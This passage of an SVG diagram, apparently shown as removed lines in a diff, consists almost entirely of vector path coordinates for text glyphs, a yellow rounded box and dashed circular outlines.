C380.807899,466.71622 381.386024,466.450595 381.844358,465.919345 C382.313108,465.388095 382.547483,464.575595 382.547483,463.481845 C382.547483,462.461012 382.313108,461.68497 381.844358,461.15372 C381.386024,460.62247 380.807899,460.356845 380.109983,460.356845 C379.412066,460.356845 378.828733,460.62247 378.359983,461.15372 C377.901649,461.674553 377.672483,462.46622 377.672483,463.52872 Z M385.086545,465.200595 L386.47717,464.981845 C386.550087,465.544345 386.763628,465.976637 387.117795,466.27872 C387.482378,466.570387 387.982378,466.71622 388.617795,466.71622 C389.263628,466.71622 389.742795,466.586012 390.055295,466.325595 C390.367795,466.054762 390.524045,465.742262 390.524045,465.388095 C390.524045,465.075595 390.388628,464.825595 390.117795,464.638095 C389.919878,464.513095 389.440712,464.356845 388.680295,464.169345 C387.649045,463.908928 386.930295,463.68497 386.524045,463.49747 C386.128212,463.299553 385.826128,463.033928 385.617795,462.700595 C385.419878,462.367262 385.32092,461.99747 385.32092,461.59122 C385.32092,461.21622 385.404253,460.87247 385.57092,460.55997 C385.737587,460.24747 385.966753,459.987053 386.25842,459.77872 C386.47717,459.612053 386.774045,459.476637 387.149045,459.37247 C387.534462,459.257887 387.940712,459.200595 388.367795,459.200595 C389.024045,459.200595 389.596962,459.294345 390.086545,459.481845 C390.576128,459.669345 390.935503,459.924553 391.16467,460.24747 C391.404253,460.55997 391.57092,460.987053 391.66467,461.52872 L390.28967,461.71622 C390.22717,461.289137 390.044878,460.955803 389.742795,460.71622 C389.440712,460.476637 389.018837,460.356845 388.47717,460.356845 C387.831337,460.356845 387.367795,460.46622 387.086545,460.68497 C386.815712,460.893303 386.680295,461.138095 386.680295,461.419345 C386.680295,461.606845 386.737587,461.773512 386.85217,461.919345 C386.966753,462.065178 387.143837,462.190178 387.38342,462.294345 C387.529253,462.346428 387.94592,462.46622 388.63342,462.65372 C389.623003,462.914137 390.315712,463.132887 390.711545,463.30997 C391.107378,463.476637 391.41467,463.721428 391.63342,464.044345 C391.862587,464.367262 391.97717,464.768303 391.97717,465.24747 C391.97717,465.71622 391.836545,466.158928 391.555295,466.575595 C391.284462,466.981845 390.888628,467.299553 390.367795,467.52872 C389.857378,467.757887 389.279253,467.87247 388.63342,467.87247 C387.550087,467.87247 386.72717,467.648512 386.16467,467.200595 C385.60217,466.752678 385.242795,466.086012 385.086545,465.200595 Z M396.711545,466.419345 L396.91467,467.669345 C396.518837,467.752678 396.16467,467.794345 395.85217,467.794345 C395.341753,467.794345 394.94592,467.71622 394.66467,467.55997 C394.38342,467.393303 394.185503,467.179762 394.07092,466.919345 C393.956337,466.648512 393.899045,466.09122 393.899045,465.24747 L393.899045,460.481845 L392.867795,460.481845 L392.867795,459.388095 L393.899045,459.388095 L393.899045,457.325595 L395.305295,456.481845 L395.305295,459.388095 L396.711545,459.388095 L396.711545,460.481845 L395.305295,460.481845 L395.305295,465.325595 C395.305295,465.731845 395.326128,465.992262 395.367795,466.106845 C395.419878,466.221428 395.503212,466.315178 395.617795,466.388095 C395.732378,466.450595 395.893837,466.481845 396.10217,466.481845 C396.25842,466.481845 396.461545,466.461012 396.711545,466.419345 Z M397.531858,465.200595 L398.922483,464.981845 C398.995399,465.544345 399.208941,465.976637 399.563108,466.27872 C399.927691,466.570387 400.427691,466.71622 401.063108,466.71622 C401.708941,466.71622 402.188108,466.586012 402.500608,466.325595 C402.813108,466.054762 402.969358,465.742262 402.969358,465.388095 C402.969358,465.075595 402.833941,464.825595 402.563108,464.638095 C402.365191,464.513095 401.886024,464.356845 401.125608,464.169345 C400.094358,463.908928 399.375608,463.68497 398.969358,463.49747 C398.573524,463.299553 398.271441,463.033928 398.063108,462.700595 C397.865191,462.367262 397.766233,461.99747 397.766233,461.59122 C397.766233,461.21622 397.849566,460.87247 398.016233,460.55997 C398.182899,460.24747 398.412066,459.987053 398.703733,459.77872 C398.922483,459.612053 399.219358,459.476637 399.594358,459.37247 C399.979774,459.257887 400.386024,459.200595 400.813108,459.200595 C401.469358,459.200595 402.042274,459.294345 402.531858,459.481845 C403.021441,459.669345 403.380816,459.924553 403.609983,460.24747 C403.849566,460.55997 404.016233,460.987053 404.109983,461.52872 L402.734983,461.71622 C402.672483,461.289137 402.490191,460.955803 402.188108,460.71622 C401.886024,460.476637 401.464149,460.356845 400.922483,460.356845 C400.276649,460.356845 399.813108,460.46622 399.531858,460.68497 C399.261024,460.893303 399.125608,461.138095 399.125608,461.419345 C399.125608,461.606845 399.182899,461.773512 399.297483,461.919345 C399.412066,462.065178 399.589149,462.190178 399.828733,462.294345 C399.974566,462.346428 400.391233,462.46622 401.078733,462.65372 C402.068316,462.914137 402.761024,463.132887 403.156858,463.30997 C403.552691,463.476637 403.859983,463.721428 404.078733,464.044345 C404.307899,464.367262 404.422483,464.768303 404.422483,465.24747 C404.422483,465.71622 404.281858,466.158928 404.000608,466.575595 C403.729774,466.981845 403.333941,467.299553 402.813108,467.52872 C402.302691,467.757887 401.724566,467.87247 401.078733,467.87247 C399.995399,467.87247 399.172483,467.648512 398.609983,467.200595 C398.047483,466.752678 397.688108,466.086012 397.531858,465.200595 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M376.7975,483.65372 L378.20375,483.46622 C378.370417,484.268303 378.646458,484.846428 379.031875,485.200595 C379.417292,485.544345 379.89125,485.71622 380.45375,485.71622 C381.11,485.71622 381.667292,485.487053 382.125625,485.02872 C382.583958,484.570387 382.813125,484.002678 382.813125,483.325595 C382.813125,482.679762 382.599583,482.148512 382.1725,481.731845 C381.755833,481.315178 381.219375,481.106845 380.563125,481.106845 C380.302708,481.106845 379.974583,481.158928 379.57875,481.263095 L379.735,480.02872 C379.82875,480.039137 379.901667,480.044345 379.95375,480.044345 C380.557917,480.044345 381.099583,479.888095 381.57875,479.575595 C382.057917,479.263095 382.2975,478.77872 382.2975,478.12247 C382.2975,477.612053 382.120417,477.190178 381.76625,476.856845 C381.4225,476.513095 380.974583,476.34122 380.4225,476.34122 C379.870417,476.34122 379.412083,476.513095 379.0475,476.856845 C378.682917,477.200595 378.448542,477.71622 378.344375,478.40372 L376.938125,478.15372 C377.115208,477.205803 377.505833,476.476637 378.11,475.96622 C378.724583,475.445387 379.485,475.18497 380.39125,475.18497 C381.01625,475.18497 381.589167,475.320387 382.11,475.59122 C382.64125,475.851637 383.042292,476.21622 383.313125,476.68497 C383.594375,477.143303 383.735,477.632887 383.735,478.15372 C383.735,478.65372 383.599583,479.106845 383.32875,479.513095 C383.068333,479.919345 382.677708,480.242262 382.156875,480.481845 C382.833958,480.638095 383.36,480.961012 383.735,481.450595 C384.11,481.940178 384.2975,482.554762 384.2975,483.294345 C384.2975,484.294345 383.932917,485.143303 383.20375,485.84122 C382.474583,486.539137 381.552708,486.888095 380.438125,486.888095 C379.438125,486.888095 378.604792,486.59122 377.938125,485.99747 C377.271458,485.393303 376.89125,484.612053 376.7975,483.65372 Z M386.258438,486.68497 L386.258438,475.231845 L390.586563,475.231845 C391.346979,475.231845 391.925104,475.268303 392.320938,475.34122 C392.883438,475.43497 393.352188,475.612053 393.727188,475.87247 C394.112604,476.132887 394.419896,476.502678 394.649063,476.981845 C394.888646,477.450595 395.008438,477.971428 395.008438,478.544345 C395.008438,479.513095 394.695938,480.336012 394.070938,481.013095 C393.456354,481.690178 392.336563,482.02872 390.711563,482.02872 L387.774063,482.02872 L387.774063,486.68497 L386.258438,486.68497 Z M387.774063,480.669345 L390.742813,480.669345 C391.721979,480.669345 392.414688,480.487053 392.820938,480.12247 C393.237604,479.757887 393.445938,479.24747 393.445938,478.59122 C393.445938,478.112053 393.320938,477.700595 393.070938,477.356845 C392.831354,477.013095 392.513646,476.789137 392.117813,476.68497 C391.867813,476.612053 391.399063,476.575595 390.711563,476.575595 L387.774063,476.575595 L387.774063,480.669345 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M282.16272,457.5403 L282.16272,457.5403 C282.16272,453.733659 285.248627,450.647783 289.055268,450.647783 L338.766268,450.647783 C340.59427,450.647783 342.347414,451.373949 343.640017,452.666551 C344.932619,453.959154 345.658785,455.712297 345.658785,457.5403 L345.658785,485.109575 C345.658785,488.916216 342.572908,492.002123 338.766268,492.002123 L289.055268,492.002123 C285.248627,492.002123 282.16272,488.916216 282.16272,485.109575 L282.16272,457.5403 Z" id="Path" fill="#FEC514"></path>
-                <path d="M295.85217,470.87247 L295.85217,459.388095 L297.13342,459.388095 L297.13342,460.46622 C297.435503,460.039137 297.774045,459.721428 298.149045,459.513095 C298.534462,459.304762 298.998003,459.200595 299.53967,459.200595 C300.248003,459.200595 300.873003,459.382887 301.41467,459.74747 C301.956337,460.112053 302.362587,460.627678 302.63342,461.294345 C302.91467,461.950595 303.055295,462.674553 303.055295,463.46622 C303.055295,464.320387 302.899045,465.086012 302.586545,465.763095 C302.284462,466.440178 301.841753,466.961012 301.25842,467.325595 C300.685503,467.690178 300.076128,467.87247 299.430295,467.87247 C298.961545,467.87247 298.53967,467.773512 298.16467,467.575595 C297.800087,467.377678 297.498003,467.127678 297.25842,466.825595 L297.25842,470.87247 L295.85217,470.87247 Z M297.117795,463.575595 C297.117795,464.648512 297.331337,465.440178 297.75842,465.950595 C298.19592,466.461012 298.721962,466.71622 299.336545,466.71622 C299.961545,466.71622 300.498003,466.450595 300.94592,465.919345 C301.393837,465.388095 301.617795,464.570387 301.617795,463.46622 C301.617795,462.40372 301.399045,461.612053 300.961545,461.09122 C300.524045,460.55997 300.003212,460.294345 299.399045,460.294345 C298.805295,460.294345 298.274045,460.575595 297.805295,461.138095 C297.346962,461.700595 297.117795,462.513095 297.117795,463.575595 Z M304.219358,463.52872 C304.219358,461.99747 304.646441,460.862053 305.500608,460.12247 C306.219358,459.507887 307.089149,459.200595 308.109983,459.200595 C309.255816,459.200595 310.188108,459.575595 310.906858,460.325595 C311.636024,461.065178 312.000608,462.096428 312.000608,463.419345 C312.000608,464.481845 311.839149,465.320387 311.516233,465.93497 C311.193316,466.549553 310.724566,467.02872 310.109983,467.37247 C309.505816,467.705803 308.839149,467.87247 308.109983,467.87247 C306.953733,467.87247 306.016233,467.502678 305.297483,466.763095 C304.578733,466.013095 304.219358,464.93497 304.219358,463.52872 Z M305.672483,463.52872 C305.672483,464.59122 305.901649,465.388095 306.359983,465.919345 C306.828733,466.450595 307.412066,466.71622 308.109983,466.71622 C308.807899,466.71622 309.386024,466.450595 309.844358,465.919345 C310.313108,465.388095 310.547483,464.575595 310.547483,463.481845 C310.547483,462.461012 310.313108,461.68497 309.844358,461.15372 C309.386024,460.62247 308.807899,460.356845 308.109983,460.356845 C307.412066,460.356845 306.828733,460.62247 306.359983,461.15372 C305.901649,461.674553 305.672483,462.46622 305.672483,463.52872 Z M313.086545,465.200595 L314.47717,464.981845 C314.550087,465.544345 314.763628,465.976637 315.117795,466.27872 C315.482378,466.570387 315.982378,466.71622 316.617795,466.71622 C317.263628,466.71622 317.742795,466.586012 318.055295,466.325595 C318.367795,466.054762 318.524045,465.742262 318.524045,465.388095 C318.524045,465.075595 318.388628,464.825595 318.117795,464.638095 C317.919878,464.513095 317.440712,464.356845 316.680295,464.169345 C315.649045,463.908928 314.930295,463.68497 314.524045,463.49747 C314.128212,463.299553 313.826128,463.033928 313.617795,462.700595 C313.419878,462.367262 313.32092,461.99747 313.32092,461.59122 C313.32092,461.21622 313.404253,460.87247 313.57092,460.55997 C313.737587,460.24747 313.966753,459.987053 314.25842,459.77872 C314.47717,459.612053 314.774045,459.476637 315.149045,459.37247 C315.534462,459.257887 315.940712,459.200595 316.367795,459.200595 C317.024045,459.200595 317.596962,459.294345 318.086545,459.481845 C318.576128,459.669345 318.935503,459.924553 319.16467,460.24747 C319.404253,460.55997 319.57092,460.987053 319.66467,461.52872 L318.28967,461.71622 C318.22717,461.289137 318.044878,460.955803 317.742795,460.71622 C317.440712,460.476637 317.018837,460.356845 316.47717,460.356845 C315.831337,460.356845 315.367795,460.46622 315.086545,460.68497 C314.815712,460.893303 314.680295,461.138095 314.680295,461.419345 C314.680295,461.606845 314.737587,461.773512 314.85217,461.919345 C314.966753,462.065178 315.143837,462.190178 315.38342,462.294345 C315.529253,462.346428 315.94592,462.46622 316.63342,462.65372 C317.623003,462.914137 318.315712,463.132887 318.711545,463.30997 C319.107378,463.476637 319.41467,463.721428 319.63342,464.044345 C319.862587,464.367262 319.97717,464.768303 319.97717,465.24747 C319.97717,465.71622 319.836545,466.158928 319.555295,466.575595 C319.284462,466.981845 318.888628,467.299553 318.367795,467.52872 C317.857378,467.757887 317.279253,467.87247 316.63342,467.87247 C315.550087,467.87247 314.72717,467.648512 314.16467,467.200595 C313.60217,466.752678 313.242795,466.086012 313.086545,465.200595 Z M324.711545,466.419345 L324.91467,467.669345 C324.518837,467.752678 324.16467,467.794345 323.85217,467.794345 C323.341753,467.794345 322.94592,467.71622 322.66467,467.55997 C322.38342,467.393303 322.185503,467.179762 322.07092,466.919345 C321.956337,466.648512 321.899045,466.09122 321.899045,465.24747 L321.899045,460.481845 L320.867795,460.481845 L320.867795,459.388095 L321.899045,459.388095 L321.899045,457.325595 L323.305295,456.481845 L323.305295,459.388095 L324.711545,459.388095 L324.711545,460.481845 L323.305295,460.481845 L323.305295,465.325595 C323.305295,465.731845 323.326128,465.992262 323.367795,466.106845 C323.419878,466.221428 323.503212,466.315178 323.617795,466.388095 C323.732378,466.450595 323.893837,466.481845 324.10217,466.481845 C324.25842,466.481845 324.461545,466.461012 324.711545,466.419345 Z M325.531858,465.200595 L326.922483,464.981845 C326.995399,465.544345 327.208941,465.976637 327.563108,466.27872 C327.927691,466.570387 328.427691,466.71622 329.063108,466.71622 C329.708941,466.71622 330.188108,466.586012 330.500608,466.325595 C330.813108,466.054762 330.969358,465.742262 330.969358,465.388095 C330.969358,465.075595 330.833941,464.825595 330.563108,464.638095 C330.365191,464.513095 329.886024,464.356845 329.125608,464.169345 C328.094358,463.908928 327.375608,463.68497 326.969358,463.49747 C326.573524,463.299553 326.271441,463.033928 326.063108,462.700595 C325.865191,462.367262 325.766233,461.99747 325.766233,461.59122 C325.766233,461.21622 325.849566,460.87247 326.016233,460.55997 C326.182899,460.24747 326.412066,459.987053 326.703733,459.77872 C326.922483,459.612053 327.219358,459.476637 327.594358,459.37247 C327.979774,459.257887 328.386024,459.200595 328.813108,459.200595 C329.469358,459.200595 330.042274,459.294345 330.531858,459.481845 C331.021441,459.669345 331.380816,459.924553 331.609983,460.24747 C331.849566,460.55997 332.016233,460.987053 332.109983,461.52872 L330.734983,461.71622 C330.672483,461.289137 330.490191,460.955803 330.188108,460.71622 C329.886024,460.476637 329.464149,460.356845 328.922483,460.356845 C328.276649,460.356845 327.813108,460.46622 327.531858,460.68497 C327.261024,460.893303 327.125608,461.138095 327.125608,461.419345 C327.125608,461.606845 327.182899,461.773512 327.297483,461.919345 C327.412066,462.065178 327.589149,462.190178 327.828733,462.294345 C327.974566,462.346428 328.391233,462.46622 329.078733,462.65372 C330.068316,462.914137 330.761024,463.132887 331.156858,463.30997 C331.552691,463.476637 331.859983,463.721428 332.078733,464.044345 C332.307899,464.367262 332.422483,464.768303 332.422483,465.24747 C332.422483,465.71622 332.281858,466.158928 332.000608,466.575595 C331.729774,466.981845 331.333941,467.299553 330.813108,467.52872 C330.302691,467.757887 329.724566,467.87247 329.078733,467.87247 C327.995399,467.87247 327.172483,467.648512 326.609983,467.200595 C326.047483,466.752678 325.688108,466.086012 325.531858,465.200595 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M312.1881,485.3256 L312.1881,486.684975 L304.609975,486.684975 C304.599558,486.341225 304.65685,486.0131 304.78185,485.7006 C304.96935,485.190183 305.276642,484.684975 305.703725,484.184975 C306.130808,483.684975 306.745392,483.10685 307.547475,482.4506 C308.787058,481.429767 309.6256,480.622475 310.0631,480.028725 C310.5006,479.424558 310.71935,478.85685 310.71935,478.3256 C310.71935,477.773517 310.521433,477.304767 310.1256,476.91935 C309.729767,476.533933 309.208933,476.341225 308.5631,476.341225 C307.886017,476.341225 307.34435,476.54435 306.9381,476.9506 C306.53185,477.35685 306.328725,477.91935 306.328725,478.6381 L304.8756,478.497475 C304.979767,477.414142 305.354767,476.591225 306.0006,476.028725 C306.646433,475.466225 307.511017,475.184975 308.59435,475.184975 C309.698517,475.184975 310.568308,475.492267 311.203725,476.10685 C311.849558,476.711017 312.172475,477.461017 312.172475,478.35685 C312.172475,478.815183 312.078725,479.268308 311.891225,479.716225 C311.703725,480.153725 311.391225,480.617267 310.953725,481.10685 C310.516225,481.596433 309.792267,482.268308 308.78185,483.122475 C307.9381,483.830808 307.396433,484.315183 307.15685,484.5756 C306.917267,484.8256 306.71935,485.0756 306.5631,485.3256 L312.1881,485.3256 Z M314.258413,486.684975 L314.258413,475.23185 L318.586538,475.23185 C319.346954,475.23185 319.925079,475.268308 320.320913,475.341225 C320.883413,475.434975 321.352163,475.612058 321.727163,475.872475 C322.112579,476.132892 322.419871,476.502683 322.649038,476.98185 C322.888621,477.4506 323.008413,477.971433 323.008413,478.54435 C323.008413,479.5131 322.695913,480.336017 322.070913,481.0131 C321.456329,481.690183 320.336538,482.028725 318.711538,482.028725 L315.774038,482.028725 L315.774038,486.684975 L314.258413,486.684975 Z M315.774038,480.66935 L318.742788,480.66935 C319.721954,480.66935 320.414663,480.487058 320.820913,480.122475 C321.237579,479.757892 321.445913,479.247475 321.445913,478.591225 C321.445913,478.112058 321.320913,477.7006 321.070913,477.35685 C320.831329,477.0131 320.513621,476.789142 320.117788,476.684975 C319.867788,476.612058 319.399038,476.5756 318.711538,476.5756 L315.774038,476.5756 L315.774038,480.66935 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M520.6954,207.9581 L520.6954,207.9581 C520.6954,130.00333 585.370876,66.8085 665.15213,66.8085 L665.15213,66.8085 C703.464447,66.8085 740.20755,81.6795785 767.29843,108.150266 C794.389311,134.620946 809.608794,170.522909 809.608794,207.958106 L809.608794,207.958106 C809.608794,285.912876 744.933318,349.107706 665.152124,349.107706 L665.152124,349.107706 C585.370874,349.107706 520.695394,285.912882 520.695394,207.958106 L520.6954,207.9581 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M520.6954,207.9581 L520.6954,207.9581 C520.6954,130.00333 585.370876,66.8085 665.15213,66.8085 L665.15213,66.8085 C703.464447,66.8085 740.20755,81.6795785 767.29843,108.150266 C794.389311,134.620946 809.608794,170.522909 809.608794,207.958106 L809.608794,207.958106 C809.608794,285.912876 744.933318,349.107706 665.152124,349.107706 L665.152124,349.107706 C585.370874,349.107706 520.695394,285.912882 520.695394,207.958106 L520.6954,207.9581 Z" id="Path" stroke="#434753" stroke-linejoin="round" stroke-dasharray="8,3"></path>
-                <polygon id="Path" fill-opacity="0" fill="#000000" points="570.9633 75.83976 759.34123 75.83976 759.34123 116.28071 570.9633 116.28071"></polygon>
-                <path d="M621.1676,102.94726 C619.719683,102.94726 618.599892,102.504552 617.808225,101.619135 C617.016558,100.723302 616.620725,99.462885 616.620725,97.837885 C616.620725,96.1608017 617.021767,94.869135 617.82385,93.962885 C618.63635,93.0462183 619.782183,92.587885 621.26135,92.587885 C621.740517,92.587885 622.219683,92.6399683 622.69885,92.744135 C623.188433,92.8483017 623.568642,92.9733017 623.839475,93.119135 L623.370725,94.400385 C623.037392,94.2649683 622.672808,94.1555933 622.276975,94.07226 C621.881142,93.97851 621.532183,93.931635 621.2301,93.931635 C619.19885,93.931635 618.183225,95.2233017 618.183225,97.806635 C618.183225,99.0358017 618.428017,99.97851 618.9176,100.63476 C619.4176,101.29101 620.157183,101.619135 621.13635,101.619135 C621.969683,101.619135 622.818642,101.442052 623.683225,101.087885 L623.683225,102.41601 C623.016558,102.770177 622.178017,102.94726 621.1676,102.94726 Z M627.565,102.75976 L626.065,102.75976 L626.065,88.587885 L627.565,88.587885 L627.565,102.75976 Z M632.205564,92.775385 L632.205564,99.25976 C632.205564,100.07226 632.387856,100.681635 632.752439,101.087885 C633.127439,101.483718 633.705564,101.681635 634.486814,101.681635 C635.538897,101.681635 636.304522,101.395177 636.783689,100.82226 C637.262856,100.249343 637.502439,99.3170517 637.502439,98.025385 L637.502439,92.775385 L639.018064,92.775385 L639.018064,102.75976 L637.768064,102.75976 L637.549314,101.41601 L637.471189,101.41601 C637.158689,101.91601 636.726397,102.296218 636.174314,102.556635 C635.632647,102.817052 635.007647,102.94726 634.299314,102.94726 C633.090981,102.94726 632.184731,102.660802 631.580564,102.087885 C630.976397,101.504552 630.674314,100.577468 630.674314,99.306635 L630.674314,92.775385 L632.205564,92.775385 Z M648.671873,100.04101 C648.671873,100.968093 648.322915,101.686843 647.624998,102.19726 C646.937498,102.69726 645.968748,102.94726 644.718748,102.94726 C643.395831,102.94726 642.364581,102.733718 641.624998,102.306635 L641.624998,100.91601 C642.104165,101.155593 642.614581,101.348302 643.156248,101.494135 C643.708331,101.629552 644.239581,101.69726 644.749998,101.69726 C645.541665,101.69726 646.15104,101.57226 646.578123,101.32226 C647.005206,101.061843 647.218748,100.676427 647.218748,100.16601 C647.218748,99.7805933 647.046873,99.44726 646.703123,99.16601 C646.36979,98.88476 645.71354,98.556635 644.734373,98.181635 C643.80729,97.837885 643.145831,97.54101 642.749998,97.29101 C642.364581,97.0305933 642.072915,96.7389267 641.874998,96.41601 C641.687498,96.0826767 641.593748,95.6868433 641.593748,95.22851 C641.593748,94.41601 641.921873,93.775385 642.578123,93.306635 C643.24479,92.8274683 644.156248,92.587885 645.312498,92.587885 C646.385415,92.587885 647.43229,92.806635 648.453123,93.244135 L647.921873,94.47851 C646.921873,94.0618433 646.015623,93.85351 645.203123,93.85351 C644.484373,93.85351 643.942706,93.9680933 643.578123,94.19726 C643.21354,94.4264267 643.031248,94.7337183 643.031248,95.119135 C643.031248,95.3899683 643.098956,95.619135 643.234373,95.806635 C643.36979,95.994135 643.58854,96.1764267 643.890623,96.35351 C644.192706,96.5201767 644.77604,96.7649683 645.640623,97.087885 C646.828123,97.5149683 647.630206,97.94726 648.046873,98.38476 C648.46354,98.82226 648.671873,99.3743433 648.671873,100.04101 Z M654.353086,101.69726 C654.62392,101.69726 654.879128,101.676427 655.118711,101.63476 C655.368711,101.593093 655.566628,101.551427 655.712461,101.50976 L655.712461,102.66601 C655.556211,102.749343 655.316628,102.817052 654.993711,102.869135 C654.670795,102.921218 654.384336,102.94726 654.134336,102.94726 C652.207253,102.94726 651.243711,101.926427 651.243711,99.88476 L651.243711,93.94726 L649.806211,93.94726 L649.806211,93.22851 L651.243711,92.587885 L651.868711,90.462885 L652.743711,90.462885 L652.743711,92.775385 L655.649961,92.775385 L655.649961,93.94726 L652.743711,93.94726 L652.743711,99.82226 C652.743711,100.426427 652.884336,100.889968 653.165586,101.212885 C653.457253,101.535802 653.853086,101.69726 654.353086,101.69726 Z M661.939268,102.94726 C660.460101,102.94726 659.293435,102.499343 658.439268,101.60351 C657.585101,100.69726 657.158018,99.44726 657.158018,97.85351 C657.158018,96.2389267 657.553851,94.9576767 658.345518,94.00976 C659.137185,93.0618433 660.199685,92.587885 661.533018,92.587885 C662.793435,92.587885 663.783018,92.9993433 664.501768,93.82226 C665.230935,94.6451767 665.595518,95.7337183 665.595518,97.087885 L665.595518,98.04101 L658.720518,98.04101 C658.751768,99.2180933 659.048643,100.108718 659.611143,100.712885 C660.173643,101.317052 660.96531,101.619135 661.986143,101.619135 C663.05906,101.619135 664.12156,101.395177 665.173643,100.94726 L665.173643,102.29101 C664.642393,102.520177 664.137185,102.686843 663.658018,102.79101 C663.178851,102.895177 662.605935,102.94726 661.939268,102.94726 Z M661.517393,93.85351 C660.71531,93.85351 660.074685,94.119135 659.595518,94.650385 C659.126768,95.1712183 658.850726,95.8899683 658.767393,96.806635 L663.986143,96.806635 C663.986143,95.8587183 663.772601,95.1295517 663.345518,94.619135 C662.918435,94.1087183 662.30906,93.85351 661.517393,93.85351 Z M672.73419,92.587885 C673.182107,92.587885 673.57794,92.6243433 673.92169,92.69726 L673.718565,94.10351 C673.301898,94.00976 672.937315,93.962885 672.624815,93.962885 C671.822732,93.962885 671.130023,94.29101 670.54669,94.94726 C669.973773,95.60351 669.687315,96.4212183 669.687315,97.400385 L669.687315,102.75976 L668.187315,102.75976 L668.187315,92.775385 L669.42169,92.775385 L669.60919,94.619135 L669.67169,94.619135 C670.04669,93.9733017 670.494607,93.4733017 671.01544,93.119135 C671.536273,92.7649683 672.10919,92.587885 672.73419,92.587885 Z M675.584105,101.79101 C675.584105,101.38476 675.672646,101.077468 675.84973,100.869135 C676.03723,100.660802 676.302855,100.556635 676.646605,100.556635 C677.000771,100.556635 677.276813,100.660802 677.47473,100.869135 C677.672646,101.077468 677.771605,101.38476 677.771605,101.79101 C677.771605,102.186843 677.672646,102.494135 677.47473,102.712885 C677.276813,102.921218 677.000771,103.025385 676.646605,103.025385 C676.344521,103.025385 676.089313,102.931635 675.88098,102.744135 C675.683063,102.546218 675.584105,102.22851 675.584105,101.79101 Z M675.584105,93.744135 C675.584105,92.931635 675.938271,92.525385 676.646605,92.525385 C677.396605,92.525385 677.771605,92.931635 677.771605,93.744135 C677.771605,94.1399683 677.672646,94.44726 677.47473,94.66601 C677.276813,94.8743433 677.000771,94.97851 676.646605,94.97851 C676.344521,94.97851 676.089313,94.88476 675.88098,94.69726 C675.683063,94.4993433 675.584105,94.181635 675.584105,93.744135 Z M687.035643,92.775385 L687.035643,99.25976 C687.035643,100.07226 687.217934,100.681635 687.582518,101.087885 C687.957518,101.483718 688.535643,101.681635 689.316893,101.681635 C690.368976,101.681635 691.134601,101.395177 691.613768,100.82226 C692.092934,100.249343 692.332518,99.3170517 692.332518,98.025385 L692.332518,92.775385 L693.848143,92.775385 L693.848143,102.75976 L692.598143,102.75976 L692.379393,101.41601 L692.301268,101.41601 C691.988768,101.91601 691.556476,102.296218 691.004393,102.556635 C690.462726,102.817052 689.837726,102.94726 689.129393,102.94726 C687.921059,102.94726 687.014809,102.660802 686.410643,102.087885 C685.806476,101.504552 685.504393,100.577468 685.504393,99.306635 L685.504393,92.775385 L687.035643,92.775385 Z M703.501891,100.04101 C703.501891,100.968093 703.152932,101.686843 702.455016,102.19726 C701.767516,102.69726 700.798766,102.94726 699.548766,102.94726 C698.225849,102.94726 697.194599,102.733718 696.455016,102.306635 L696.455016,100.91601 C696.934182,101.155593 697.444599,101.348302 697.986266,101.494135 C698.538349,101.629552 699.069599,101.69726 699.580016,101.69726 C700.371682,101.69726 700.981057,101.57226 701.408141,101.32226 C701.835224,101.061843 702.048766,100.676427 702.048766,100.16601 C702.048766,99.7805933 701.876891,99.44726 701.533141,99.16601 C701.199807,98.88476 700.543557,98.556635 699.564391,98.181635 C698.637307,97.837885 697.975849,97.54101 697.580016,97.29101 C697.194599,97.0305933 696.902932,96.7389267 696.705016,96.41601 C696.517516,96.0826767 696.423766,95.6868433 696.423766,95.22851 C696.423766,94.41601 696.751891,93.775385 697.408141,93.306635 C698.074807,92.8274683 698.986266,92.587885 700.142516,92.587885 C701.215432,92.587885 702.262307,92.806635 703.283141,93.244135 L702.751891,94.47851 C701.751891,94.0618433 700.845641,93.85351 700.033141,93.85351 C699.314391,93.85351 698.772724,93.9680933 698.408141,94.19726 C698.043557,94.4264267 697.861266,94.7337183 697.861266,95.119135 C697.861266,95.3899683 697.928974,95.619135 698.064391,95.806635 C698.199807,95.994135 698.418557,96.1764267 698.720641,96.35351 C699.022724,96.5201767 699.606057,96.7649683 700.470641,97.087885 C701.658141,97.5149683 702.460224,97.94726 702.876891,98.38476 C703.293557,98.82226 703.501891,99.3743433 703.501891,100.04101 Z M712.104979,102.75976 L711.792479,101.337885 L711.729979,101.337885 C711.229979,101.962885 710.729979,102.389968 710.229979,102.619135 C709.740395,102.837885 709.125812,102.94726 708.386229,102.94726 C707.396645,102.94726 706.620604,102.692052 706.058104,102.181635 C705.495604,101.671218 705.214354,100.942052 705.214354,99.994135 C705.214354,97.9837183 706.823729,96.9264267 710.042479,96.82226 L711.745604,96.775385 L711.745604,96.150385 C711.745604,95.369135 711.573729,94.79101 711.229979,94.41601 C710.896645,94.04101 710.360187,93.85351 709.620604,93.85351 C708.78727,93.85351 707.844562,94.1087183 706.792479,94.619135 L706.339354,93.462885 C706.828937,93.2024683 707.365395,92.9993433 707.948729,92.85351 C708.532062,92.69726 709.120604,92.619135 709.714354,92.619135 C710.901854,92.619135 711.782062,92.88476 712.354979,93.41601 C712.927895,93.9368433 713.214354,94.7805933 713.214354,95.94726 L713.214354,102.75976 L712.104979,102.75976 Z M708.683104,101.69726 C709.620604,101.69726 710.354979,101.442052 710.886229,100.931635 C711.427895,100.410802 711.698729,99.681635 711.698729,98.744135 L711.698729,97.85351 L710.198729,97.91601 C708.990395,97.9576767 708.120604,98.1451767 707.589354,98.47851 C707.058104,98.8014267 706.792479,99.3170517 706.792479,100.025385 C706.792479,100.567052 706.959145,100.983718 707.292479,101.275385 C707.625812,101.556635 708.089354,101.69726 708.683104,101.69726 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <path d="M587.2461,178.08994 L587.2461,178.08994 C587.2461,169.841741 593.932562,163.155263 602.180792,163.155263 L728.122442,163.155263 C732.083379,163.155263 735.882086,164.728734 738.682867,167.529531 C741.483648,170.330327 743.057135,174.129018 743.057135,178.089941 L743.057135,237.826881 C743.057135,246.07508 736.370611,252.761558 728.122443,252.761558 L602.180793,252.761558 C593.932563,252.761558 587.246101,246.07508 587.246101,237.826881 L587.2461,178.08994 Z" id="Path" fill-opacity="0" fill="#000000"></path>
